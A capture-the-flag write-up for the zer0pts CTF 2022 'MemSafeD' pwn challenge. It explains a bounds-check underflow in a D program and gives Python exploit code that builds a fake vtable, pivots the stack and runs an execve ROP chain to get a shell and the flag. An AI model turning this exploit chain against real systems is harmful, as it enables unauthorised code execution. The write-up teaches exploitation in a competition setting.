zer0pts CTF 2022 - MemSafeD
D language is similar to C in its syntax but much more secure than C.
nc pwn1.ctf.zer0pts.com 9002
Attachment: memsafed.tar.gz xpl.py
Team: Super HexaGoN
$ ./chall
o o
/ __ \
\|@@\/
|| \\
||_//
|__/
/ \
`o b
1. New
2. Show
3. Rename
4. Edit
5. Delete
When joining the ctf, Xion
and procfs
had already worked on that challenge and Xion
already provided code for a PIE leak and pointed out, that by renaming a polygon to the same name will reset the polygon (setting the address of the vertex array to 0 and length also to 0).
That enables an arbitrary write in set_vertex
, since index
will now always be smaller than length-1
(overflow)
void set_vertex(ulong index, vertex v) {
if (index > _vertices.length - 1)
throw new Exception("Invalid index");
_vertices[index] = v;
}
So, we have a PIE leak and an arbitrary write, but with that we can only write stuff in bss
, so we need to find a way to get some kind of code execution and then pivot the stack into bss
to do something more useful there.
Preparing PIE leak and an array for arb write
def exploit(r):
r.recvuntil("> ")
PIELEAK = leakpie()
e.address = PIELEAK - 0xa1e5d
log.info("PIE leak : %s" % hex(PIELEAK))
log.info("PIE : %s" % hex(e.address))
new("abc", 3, [[1,2],[2,3],[4,5]])
rename("abc", "abc", "N")
As for getting initial code execution, we can overwrite the vtable
of _D27TypeInfo_HAyaS4main7Polygon6__initZ
to point to a fake vtable
, which we can also put into bss
def edit(name, idx, vert):
r.sendline("4")
r.sendlineafter(": ", name)
r.sendlineafter(": ", str(idx))
r.sendlineafter("= ", "(%d,%d)" % (vert[0], vert[1]))
r.recvuntil("> ")
def write(name, addr, value):
edit(name, addr/8, [getval(value & 0xffffffff), getval(value>>32)])
# write vtable address
write("abc", e.address + 0x14c070+0x18, e.address + 0x152b50)
With a fake table on bss, we can achieve, that when we try to create a new polygon, it will call an arbitrary function defined by us, while passing that new polygon as parameter to it. Without knowing libc, there’s not too much we can do with that, so we’ll need to find a way to pivot the stack also into bss.
When the vtable function will be called, rcx
will point to the vtable
itself.
Searching for a way to pivot the stack, we overlooked the perfect gadget for that for quite some time :D
0x00000000000a459a: push rcx; or byte ptr [rax - 0x75], cl; pop rsp; and al, 8; add rsp, 0x18; ret;
This will push the vtable address onto the stack and then pop it into rsp
, by which the stack now points to our vtable and then it’s even so nice to move it 0x18
bytes forward into a controllable area :)
ADDRSP18 = e.address +0x00000000000a0b7f
GOSTACK = e.address + 0x00000000000a3ae4
# write fake vtable
write("abc", e.address + 0x152b50, e.address + 0x152b50)
write("abc", e.address + 0x152b50+0x18, ADDRSP18)
write("abc", e.address + 0x152b50+0x28, GOSTACK)
# write vtable address
write("abc", e.address + 0x14c070+0x18, e.address + 0x152b50)
Now creating a new polygon would try to use our fake vtable (at offset 0x152b50
) and then call the GOSTACK
gadget, which will set rsp
to rcx
, letting the stack point to our vtable and then move it forwards by 0x18
bytes. The stack would now point to the ADDRSP18
gadget, which again moves the stack 0x18
bytes forward out of our vtable, where we can now put our final ropchain.
# write ropchain
POPRDI = e.address + 0x000000000011f893
POPRSI15 = e.address + 0x000000000011f891
POPRDX = e.address + 0x0000000000107c56
SYSCALL = e.address + 0x00000000000d1ab1
POPRAX = e.address + 0x00000000000aa2cd
payload = p64(POPRDI)
payload += p64(e.address + 0x152bd8)
payload += p64(POPRSI15)
payload += p64(0)
payload += p64(0)
payload += p64(POPRDX)
payload += p64(0)
payload += p64(POPRAX)
payload += p64(59)
payload += p64(SYSCALL)
payload += "/bin/sh\x00"
for i in range(0, len(payload), 8):
write("abc", e.address + 0x152b50+0x28+0x10+i, u64(payload[i:i+8]))
# trigger fake vtable to get into ropchain
new("3", 3, [[0,1], [0,2], [0,3]], False)
After this new
will then trigger our system("/bin/sh")
ropchain giving us a shell.
$ python work.py 1
[*] '/home/kileak/ctf/zero/memsafd/memsafedwp/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to pwn1.ctf.zer0pts.com on port 9002: Done
[*] PIE leak : 0x55c25a799e5d
[*] PIE : 0x55c25a6f8000
[*] Switching to interactive mode
$ ls
chall
flag-3f547eeb929a879dd4bdb69490a9abc4.txt
$ cat flag-3f547eeb929a879dd4bdb69490a9abc4.txt
zer0pts{1.Use_@trusted_escapes/2.Use_boundscheck=safeonly/3.Trust_GC}